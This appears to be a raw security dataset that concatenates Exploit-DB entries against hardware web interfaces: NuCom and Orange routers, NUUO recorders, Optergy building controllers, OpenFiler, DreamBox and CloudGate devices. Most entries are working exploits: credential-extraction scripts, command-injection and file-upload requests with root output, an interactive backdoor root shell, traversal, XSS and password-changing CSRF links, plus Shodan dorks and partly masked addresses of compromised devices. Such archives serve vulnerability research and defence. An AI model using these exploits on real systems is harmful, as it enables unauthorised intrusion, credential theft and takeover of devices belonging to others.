deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49634
Description: NuCom 11N Wireless Router 5.07.90 - Remote Privilege Escalation
Type: webapps
Platform: hardware
Date: 2021-03-11
Author: LiquidWorm

Exploit:
# Exploit Title: NuCom 11N Wireless Router 5.07.90 - Remote Privilege Escalation
# Date: 01.03.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.nucom.es




Vendor: NUEVAS COMUNICACIONES IBERIA, S.A.
Product web page: https://www.nucom.es
Affected version: 5.07.90_multi_NCM01
                  5.07.89_multi_NCM01
                  5.07.72_multi_NCM01

Summary: The NC routers upgrades your network to the next
generation of WiFi. With combined wireless speeds of up to
1750 Mbps, the device provides better speeds and wireless
range. Includes 2 FXS ports for any VoIP service. If you
prefer a wired connection, the NC routers have gigabit
ports to provide an incredibly fast, lag-free experience.
3.0 ports allow you to power a robust home Internet network
by sharing printers, flash storage, FTP servers, or media
players.

Desc: The application suffers from a privilege escalation
vulnerability. The non-privileged default user (user:user)
can elevate his/her privileges by sending a HTTP GET request
to the configuration backup endpoint and disclose the http
super password (admin credentials) in Base64 encoded value.
Once authenticated as admin, an attacker will be granted
access to the additional and privileged pages.

Tested on: GoAhead-Webs
           Tenda


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5629
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5629.php


01.03.2021

--


lqwrm@metalgear:~/prive$ echo -e '\nThe admin password is: ' ; \
> curl -s http://192.168.0.1:8080/cgi-bin/DownloadNoMacaddrCfg/RouterCfm.cfg?random=0.251 \
> -H 'Cookie: ecos_pw=dXNlcg==[PII_REDACTED]:language=en' | \
> grep -oP '(?<=http_supper_passwd=).*' | \
> base64 -d 2>/dev/null | \
> xargs echo -n ; \
> echo -e '\n-----------\n'
The admin password is: 
MammaMia123
-----------

lqwrm@metalgear:~/prive$
Exploit-DB #34779
Description: Nucom ADSL ADSLR5000UN - ISP Credentials Disclosure
Type: webapps
Platform: hardware
Date: 2014-09-25
Author: Sebastián Magof

Exploit:
#!/usr/bin/perl 
# Exploit Author: Sebastián Magof 
# Hardware: Modem Nucom ADSL R5000UNv2  
# Software Version:	R5TC008
# Vulnerable file: guidewan.html
# location: http://gateway/telecom_GUI/guidewan.html                  
# Bug: ISP usr+pwd disclosure 
# Type: Local 
# Date: 24/09/2014
# Vendor Homepage: http://www.nucom.hk/
# Version: 2.00(R5TC008)
# Tested on: Linux Fedora 20/Windows 7
# (\/)
# (**) Alpha (:
#(")(")
#MADE IN ARGENTINA;
#usage:perl exploit.pl
use LWP::UserAgent;
use HTTP::Request;
use MIME::Base64;
#begin
print "\n\n************************************************************\n";
print "* Modem Nucom ADSL R5000UNv2 ISP credentials disclosure    *\n";#default gateway 192.168.1.1 (Arnet Telecom ISP Argentina) 
print "************************************************************\n\n";
 
  
#isp pwd disclosure file
my $url = "http://192.168.1.1/telecom_GUI/guidewan.html"; 
   
  
#UserAgent
my $ua = LWP::UserAgent->new();
$ua->agent("Mozilla/5.0");
   
  
#Request.
my $req = HTTP::Request->new(GET => $url);
my $request = $ua->request($req);
my $content = $request->content(); #content
my ($pwd) = $content =~ m/pppPassword.value = '(.+)';/;
my ($usr) = $content =~ m/pppUserName.value = '(.+)';/;
#decode base64 2 times pwd;
$encoded = $pwd;
$decoded = decode_base64($encoded); #decode base64 pwd;
$decoded2 = decode_base64($decoded); #2nd base64 pwd;
#ISP usr+pwd Arnet Telecom Argentina;
print "User: $usr\n";
print "[CREDENTIAL_REDACTED]\n\n";
exit(0);
  
  
__EOF__
Exploit-DB #45070
Description: NUUO NVRmini - 'upgrade_handle.php' Remote Command Execution
Type: webapps
Platform: hardware
Date: 2018-07-23
Author: Berk Dusunur

Exploit:
# Exploit Title: NUUO NVR Unauthenticated Remote Code Execution
# Exploit Author: Berk Dusunur
# Google Dork: N/A
# Date: 2018-07-21
# Vendor Homepage: http://www.nuuo.com/
# Software Link: http://www.nuuo.com/
# Affected Version: v2016
# Tested on: Parrot OS
# CVE : N/A


# Proof Of Concept


GET /upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;whoami;%27 HTTP/1.1
Host: target:50000
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=7b74657ab949a442c9e440ccf050de1e; lang=en

HTTP/1.1 200 OK
X-Powered-By: PHP/5.6.13
Content-type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Date: Sat, 21 Jul 2018 15:54:09 GMT
Server: lighttpd/1.4.39

upload_tmp_dir=/mtd/block3 root

GET /upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;id;%27 HTTP/1.1
Host: target:5000
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=7b74657ab949a442c9e440ccf050de1e; lang=en



HTTP/1.1 200 OK
X-Powered-By: PHP/5.6.13
Content-type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Date: Sat, 21 Jul 2018 15:54:09 GMT
Server: lighttpd/1.4.39


upload_tmp_dir=/mtd/block3 uid=0(root) gid=0(root)
Exploit-DB #44794
Description: NUUO NVRmini2 / NVRsolo - Arbitrary File Upload
Type: webapps
Platform: hardware
Date: 2018-05-29
Author: M3@Pandas

Exploit:
# Exploit Title: NUUO NVRmini2 / NVRsolo Arbitrary File Upload Vulnerability
# Google Dork: intitle:NUUO Network Video Recorder Login
# Date: 2018-05-20
# Exploit Author: M3@Pandas
# Vendor Homepage: http://www.nuuo.com
# Software Link: N/A
# Version: all
# Tested on: PHP Linux
# CVE : CVE-2018-11523

==========================
Advisory: NUUO NVRmini2 / NVRsolo Arbitrary File Upload Vulnerability
Author: M3@pandas From DBAppSecurity
Affected Version: All
==========================
Vulnerability Description
==========================


Recetly, I found an Arbitrary File Upload Vulnerability in 'NUUO NVRmini2' program, NVRmini2 is widely used all over 
the world.


Vulnerable cgi: /upload.php


<?php
//echo $_FILES['userfile']['type'];
//echo ":";
//echo $_FILES['userfile']['size'];
//echo ":";
//echo urldecode($_FILES['userfile']['name']);
//echo ":";
//echo $_FILES['userfile']['tmp_name'];
//echo ":";
//echo $_FILES['userfile']['error'];
//echo ":";
echo $_FILES['userfile']['name'];
copy($_FILES["userfile"]["tmp_name"],$_FILES['userfile']['name']);
?>




As the code above, no any filter, so we can upload a php shell directly to the web server.


==========================
POC  EXP
==========================


1. Upload 'nuuonvr.php' to web root path:

POST /upload.php HTTP/1.1
Host: 192.168.10.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: multipart/form-data; boundary=--------969849961
Content-Length: 162

----------969849961
Content-Disposition: form-data; name="userfile"; filename="nuuonvr.php"

?php phpinfo();@unlink(__FILE__);?
----------969849961--


2. Check if the php file is uploaded successfully:
	GET http://192.168.10.1/nuuonvr.php

 If the page returns phpinfo info, target is vulnerable!
Exploit-DB #47774
Description: NVMS 1000 - Directory Traversal
Type: webapps
Platform: hardware
Date: 2019-12-13
Author: numan türle

Exploit:
# Title: NVMS-1000 - Directory Traversal
# Date: 2019-12-12
# Author: Numan Türle
# Vendor Homepage: http://en.tvt.net.cn/
# Version : N/A
# Software Link : http://en.tvt.net.cn/products/188.html

POC
---------

GET /../../../../../../../../../../../../windows/win.ini HTTP/1.1
Host: 12.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

Response
---------

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
Exploit-DB #42293
Description: OpenDreamBox 2.0.0 Plugin WebAdmin - Remote Code Execution
Type: webapps
Platform: hardware
Date: 2017-07-03
Author: Jonatas Fil

Exploit:
# Exploit Title: OpenDreamBox 2.0.0 - Plugin WebAdmin RCE
# Shodan Dork: "DreamBox" 200 ok"
# Date: 07/03/17
# Exploit Author: Jonatas Fil
# Vendor Homepage: https://www.dreamboxupdate.com
# Software Link: https://www.dreamboxupdate.com/opendreambox/2.0.0
# Version: 2.0.0

Vulnerabilty: Remote Command Execution via Command injection in Plugin
WebAdmin.
Tools: https://github.com/ninj4c0d3r/ShodanCli
----------------------------------------------------------------------------------------------------
p0c:

- First, Search in Shodan: "DreamBox" 200 ok.

(https://github.com/ninj4c0d3r/ShodanCli - My tool for search (need api) or
https://www.shodan.io)

- After, open the target and go to "Extra", wait a moment...

- In plugins, if WebAdmin Plugin is installed [VULNERABLE]:

Exploit : http://target.com:100000/webadmin/script?command=|YOUR_COMMAND

-----------------------------------------------------------------------------------------------------
Examples:

http://212.13.x.129:8081/webadmin/script?command=|uname -a : Linux dm7020hd 3.2-dm7020hd #1 SMP Sun Jun 21 15:26:04 CEST 2015 mips GNU/Linux
http://80.x.24.154:8880/webadmin/script?command=|id : uid=0(root) gid=0(root)
http://62.224.234.x:8081/webadmin/script?command=|pwd : /home/root
http://x.19.12.146:10000/webadmin/script?command=|cat /etc/issue : opendreambox 2.0.0 \n \l
Exploit-DB #33247
Description: OpenFiler 2.99.1 - Arbitrary Code Execution
Type: webapps
Platform: hardware
Date: 2014-05-08
Author: Dolev Farhi

Exploit:
# Exploit Title: Arbitrary Code Execution in Openfiler

# Exploit author: Dolev Farhi @f1nhack

# Date 07/05/2014

# Vendor homepage: http://www.openfiler.com

# Affected Software version: 2.99.1

# Alerted vendor: 7.5.14


Software Description
=====================
Openfiler is a network storage operating system. With the features we built into Openfiler, you can take advantage of file-based Network Attached Storage and block-based 
Storage Area Networking functionality in a single cohesive framework.



Vulnerability Description
=========================
Arbitrary code execution


Steps to reproduce / PoC:
=========================
1.1. Login to Openfiler dashboard.

1.2. Under system tab -> Hostname

1.3. Enter any shell command you desire using the backticks ` ` 

	e.g. `cat /etc/passwd`
	
1.4. the code reflects in the hostname value space



  <-> PoC Video: https://www.youtube.com/watch?v=NzjB9U_0yLE&feature=youtu.be

#!/usr/bin/env python
# Exploit Title: Openfiler Remote Code Execution 
# Date 21/12/2014
# Affected Software version: 2.99.1
# Alerted vendor: 7.5.14

# Quick and dirty exploit
# usage: python openfiler_RCE.py <Command>
# Author: Dolev Farhi @dolevff

import sys
import urllib
import urllib2
import cookielib

server = 'ip.add.re.ss'
username = 'openfiler'
[CREDENTIAL_REDACTED]'
timeout = 6
command = '`' + ' '.join(sys.argv[1:]) + '`'

if len(sys.argv[1:]) == 0:
    print 'Missing argument (command)'
    print 'example: python openfilerRCE.py echo > /etc/passwd'
    sys.exit(0)

try:
    cj = cookielib.CookieJar()
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
    login_data = urllib.urlencode({'username' : username, 'password' : password})
    opener.open('https://' + server + ':446/account/login.html', login_data, timeout=timeout)
    payload = urllib.urlencode({'hostname' : command,'netconf' : 'Update'})
    url = 'https://%s:446/admin/system.html' % (server)
    resp = opener.open(url)
    if 'logout.html' in resp.read():
        opener.open('https://' + server + ':446/admin/system.html', payload)
        print ('Executed %s :-)' %(command))
        sys.exit(0)
except urllib2.URLError, e:
    print 'Error: %s' %(e.reason)
    sys.exit(1)
except Exception, e:
    print 'Error: possibily invalid credentials, try again.'
    sys.exit(1)
Exploit-DB #33248
Description: OpenFiler 2.99.1 - Multiple Persistent Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: hardware
Date: 2014-05-08
Author: Dolev Farhi

Exploit:
# Exploit Title: Multiple persistent XSS in Openfiler

# Exploit author: Dolev Farhi @f1nhack

# Date 07/05/2014

# Vendor homepage: http://www.openfiler.com

# Affected Software version: 2.99.1

# Alerted vendor: 7.5.14


Software Description
=====================
Openfiler is a network storage operating system. With the features we built into Openfiler, you can take advantage of file-based Network Attached Storage and block-based 
Storage Area Networking functionality in a single cohesive framework.



Vulnerability Description
=========================
Multiple Persistent Cross Site Scripting 



Steps to reproduce / PoC:
=========================
1.1. Login to Openfiler dashboard.

1.2. Under system tab -> Network Access Configuration create a new NAC

1.3. Name the NAC <script>alert(document.cookie);</script>

1.4. Navigate to another tab.

1.5. Navigate back to System tab

1.6. the XSS reflects to the window.



2.1. Create a new Volume Group.

2.2. Create a new Logical Volume with any name you want.

2.3. in the Description, enter </script>alert("XSS")</script>

2.4. Click OK.

2.5. Navigate to "Shares" tab -> XSS

2.6. Navigate to "Snapshot Shares" -> XSS

2.7. Navigate to "Existing shares" -> XSS

2.8. Navigate to "Quota" -> XSS





  <-> PoC Video: https://www.youtube.com/watch?v=CLG5iS3qU-M&feature=youtu.be
Exploit-DB #24498
Description: OpenPLI 3.0 Beta (OpenPLi-beta-dm7[PII_REDACTED]7-272) - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2013-02-14
Author: m-1-k-3

Exploit:
# Exploit Title: Multiple Vulnerabilities in OpenPLI
# Date: 13.02.2013
# Exploit Author: m-1-k-3
# Vendor Homepage: http://openpli.org/
# Software Link: http://openpli.org/
# Version: v3.0 beta (OpenPLi-beta-dm7[PII_REDACTED]7-272) and below

Device Name: OpenPLI - Dream Multimedia Box with OpenPLI software
Vendor of device: Dream Multimedia
Vendor of Software: OpenPLI Community

============ Device Details: ============ 

Linux Kernel	Linux version 2.6.9 (build@plibouwserver) (gcc version 3.4.4) #1 Wed Aug 17 23:54:07 CEST 2011
Firmware	release 1.1.0, 27.01.2013
FP Firmware	1.06
Web Interface	6.0.4-Expert - PLi edition by [lite]

More infos: http://openpli.org/

============ Vulnerability Overview: ============ 

* OS Command Execution:

	parameter: maxmtu

The vulnerability is caused by missing input validation in the maxmtu parameter and can be exploited to inject and execute arbitrary shell commands. It is possible to use Netcat to fully compromise the device.

http://Target-IP/cgi-bin/setConfigSettings?maxmtu=%26COMMAND%26&hddstandby=2&hddacoustics=160&timeroffsetstart=0&timeroffsetstop=0&audiochannelspriority=&showsatpos=on&trustedhosts=&epgcachepath=%2Fhdd&epgsqlpath=%2Fvar%2Flib%2Fsqlite

It is possible to shorten the URL to the following:

http://Target-IP/cgi-bin/setConfigSettings?maxmtu=%26COMMAND%26

There is Netcat preinstalled on the device. It is a very small edition of netcat, so you have to play a bit with it but you will get it ;)

* stored XSS:

Box Control -> Configuration -> Webserver -> User, Password

	parameter: AuthUser, AuthPassword

Box Control -> Configuration -> Settings

	parameter: audiochannelspriority

Injecting scripts into the parameter xxx reveals that this parameter is not properly validated for malicious input.

============ Solution ============

No known solution available.

============ Credits ============

The vulnerability was discovered by Michael Messner
Mail: devnull#at#s3cur1ty#dot#de
Web: http://www.s3cur1ty.de/advisories
Twitter: @s3cur1ty_de

============ Time Line: ============

October 2012 - disocovered vulnerability
xx.02.2013 - public release

===================== Advisory end =====================
Exploit-DB #47641
Description: Optergy 2.3.0a - Remote Code Execution (Backdoor)
Type: webapps
Platform: hardware
Date: 2019-11-12
Author: LiquidWorm

Exploit:
# Title: Optergy 2.3.0a - Remote Code Execution
# Author: LiquidWorm
# Date: 2019-11-05
# Vendor: https://optergy.com/
# Product web page: https://optergy.com/products/
# Affected version: <=2.3.0a
# Advisory: https://applied-risk.com/resources/ar-2019-008
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system
# CVE: CVE-2019-7276

# PoC:

#!/usr/bin/env python
#
# Unauthenticated Remote Root Exploit in Optergy BMS (Console Backdoor)
#
# Affected version <=2.0.3a (Proton and Enterprise)
#
##############################################################################
#
# lqwrm@metalgear:~/stuff/optergy$ python getroot.py 192.168.232.19
# Challenge received:[PII_REDACTED]287
# SHA1: 56a6e5bf103591ed45faa2159cae234d04f06d93
# MD5 from SHA1: 873efc9ca9171d575623a99aeda44e31
# Answer: 56a6e5bf103591ed45faa2159cae234d04f06d93873efc9ca9171d575623a99aeda44e31
# # id
# uid=0(root) gid=0(root) groups=0(root)
#
##############################################################################
#
#

import os#######
import sys######
import json#####
import hashlib##
import requests#

piton = os.path.basename(sys.argv[0])

if len(sys.argv) < 2:
    print '\n\x20\x20[*] Usage: '+piton+' <ip:port>\n'
    sys.exit()

while True:

    challenge_url = 'http://'+sys.argv[1]+'/tools/ajax/ConsoleResult.html?get'

    try:
        req1 = requests.get(challenge_url)
        get_challenge = json.loads(req1.text)
        challenge = get_challenge['response']['message']
        print 'Challenge received: ' + challenge

        hash_object = hashlib.sha1(challenge.encode())
        print 'SHA1: '+(hash_object.hexdigest())
        h1 = (hash_object.hexdigest())
        hash_object = hashlib.md5(h1.encode())
        print 'MD5 from SHA1: '+(hash_object.hexdigest())
        h2 = (hash_object.hexdigest())
        print 'Answer: '+h1+h2
        
        zeTargets = 'http://'+sys.argv[1]+'/tools/ajax/ConsoleResult.html'
        zeCommand = raw_input('# ')
        if zeCommand.strip() == 'exit':
            sys.exit()
        zeHeaders = {'User-Agent'      : 'BB/BMS-251.4ev4h',
                     'Accept'          : '*/*',
                     'Accept-Encoding' : 'gzip, deflate',
                     'Accept-Language' : 'mk-MK,mk;q=1.7',
                     'Connection'      : 'keep-alive',
                     'Connection-Type' : 'application/x-www-form-urlencoded'}
        zePardata = {'command'         : 'sudo '+zeCommand,
                     'challenge'       : challenge,
                     'answer'          : h1+h2}

        zeRequest = requests.post(zeTargets, headers=zeHeaders, data=zePardata)
        get_resp = json.loads(zeRequest.text)
        get_answ = get_resp['response']['message']
        print get_answ
    except Exception:
        print '[*] Error!'
        break
Exploit-DB #47640
Description: Optergy 2.3.0a - Username Disclosure
Type: webapps
Platform: hardware
Date: 2019-11-12
Author: LiquidWorm

Exploit:
# Title: Optergy 2.3.0a - Username Disclosure
# Author: LiquidWorm
# Date: 2019-11-05
# Vendor: https://optergy.com/
# Product web page: https://optergy.com/products/
# Affected version: <=2.3.0a
# Advisory: https://applied-risk.com/resources/ar-2019-008
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system
# CVE: CVE-2019-7272

# PoC:

curl -s http://192.168.232.19/Login.html?showReset=true | grep 'option value='
<option value="80">djuro</option>
<option value="99">teppi</option>
<option value="67">view</option>
<option value="3">alerton</option>
<option value="59">stef</option>
<option value="41">humba</option>
<option value="25">drmio</option>
<option value="11">de3</option>
<option value="56">andri</option>
<option value="6">myko</option>
<option value="22">dzonka</option>
<option value="76">kosto</option>
<option value="8">beebee</option>
<option value="1">Administrator</option>
Exploit-DB #40016
Description: Option CloudGate CG0192-11897 - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2016-06-27
Author: LiquidWorm

Exploit:

Option CloudGate Insecure Direct Object References Authorization Bypass


Vendor: Option NV
Product web page: http://www.option.com
Affected version: CG0192-11897

Summary: The CloudGate M2M gateway from Option provides competitively
priced LAN to WWAN routing and GPS functionality in a single basic unit
certified on all major us cellular operators (CDMA/EV-DO and WCDMA/HSPA+).
The CloudGate is simple to configure locally or remotely from your PC,
tablet or Smartphone.

Desc: Insecure Direct Object References occur when an application provides
direct access to objects based on user-supplied input. As a result of this
vulnerability attackers can bypass authorization and access resources and
functionalities in the system directly, for example APIs, files, upload
utilities, device settings, etc.

Tested on: lighttpd 1.4.39
           firmware 2.62.4


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5333
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5333.php


11.06.2016

--


GET /partials/firewall.html
GET /partials/system.html
GET /partials/ipsec.html
GET /partials/provisioning.html
GET /api/login
GET /api/replacementui
GET /api/goatgates

OR

/#/firewall
/#/system
/#/ipsec
/#/provisioning


XSS:

http://127.0.0.2/api/replacementui<script>alert(1)</script>
http://127.0.0.2/api/goatgates<script>alert(2)</script>
http://127.0.0.2/api/Blah-Blah<script>alert(3)</script>
http://127.0.0.2/api/<script>alert(4)</script>
Exploit-DB #40626
Description: Orange Inventel LiveBox 5.08.3-sp - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2016-10-24
Author: BlackMamba

Exploit:
# Exploit Title: Orange Inventel LiveBox CSRF
# Google Dork: N/A
# Date: 10-24-2016
# Exploit Author: BlackMamba TEAM (BM1)
# Vendor Homepage: N/A
# Version: Inventel - v5.08.3-sp
# Tested on: Windows 7 64bit
# CVE : N/A
# Category: Hardware

1. Description
This Router is vulnerable to Cross Site Request Forgery , a hacker can send a well crafted link or well crafted web page(see the POC) to the administrator.
and thus change the admin password (without the need to know the old one).
this affects the other  settings too (SSID name , SSID Security ,enabling disabling the firewall.......).

2. Proof of Concept
this link once clicked the admin password is changed to "blackmamba" (withouth ")

<a href="http://192.168.1.1/configok.cgi?sys[CREDENTIAL_REDACTED]">Cats !!!</a>

this link once clicked sets the SSID to "BLACKMAMBA" with the security to NONE (open wirless network)
<a href="http://192.168.1.1/advancedboot.cgi?associateTime=10&wifiEssid=BLACKMAMBA&wifiWep=0">Dogs :D !!!</a>

3. Mitigation
this is kinda obvious but DO NOT click on links you can't verify there origine specialy when connected to the Router's interface.

------------------------------------------------------------------------------------------------------------------------------------------------------------
From the Moroccan team : BLACK MAMBA (by BM1)